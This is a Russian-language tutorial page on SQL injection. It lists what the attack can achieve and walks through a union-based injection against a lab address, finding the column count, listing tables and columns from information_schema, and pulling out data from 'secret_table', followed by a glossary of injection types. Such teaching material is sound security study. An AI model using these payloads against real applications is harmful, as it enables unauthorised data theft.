Skip to main content

SQL-инъекции

Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:

  • Извлечению данных и возможности исследования базы данных
  • Модификации информации в базе данных (удалению, добавлению, изменению)
  • Обходу логики
  • Обходу механизмов авторизации и аутентификации
  • Чтению файлов ОС
  • Выполнению команд ОС
  • Отказу в обслуживании

Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \). 

Комбинирование запросов:

Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.

Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос, 

Стоит ставить символ комментария после строки запроса -- -

http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -

Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы. 

-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -

Объединение данных в одно поле возможно сделать за счет group_concat

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables -- -

Столбцы в таблице 

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns WHERE table_name='secret_table' -- -

Получение данных из таблицы 

-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -

Примеры SQL-инъекций:

  • Stacked queries — выполнение несколько запросов за один раз.
  • Union-based — использование оператора UNION для объединения результатов двух запросов, что позволяет извлекать данные из других таблиц.
  • Error-based — инъекция, основанная на ошибке, которая может возникнуть при выполнении запроса, что позволяет получать информацию об уязвимости.
  • Boolean blind — используются булевы выражения для проверки наличия или отсутствия определенных данных в базе данных.
  • Time-based — инъекция, которая использует задержку выполнения запроса для получения информации о базе данных.
  • Out of band — инъекция, которая не взаимодействует с сайтом напрямую, а использует другой канал для передачи данных, например, отправку электронной почты или HTTP-запросов.

Дополнительная информация

Практика: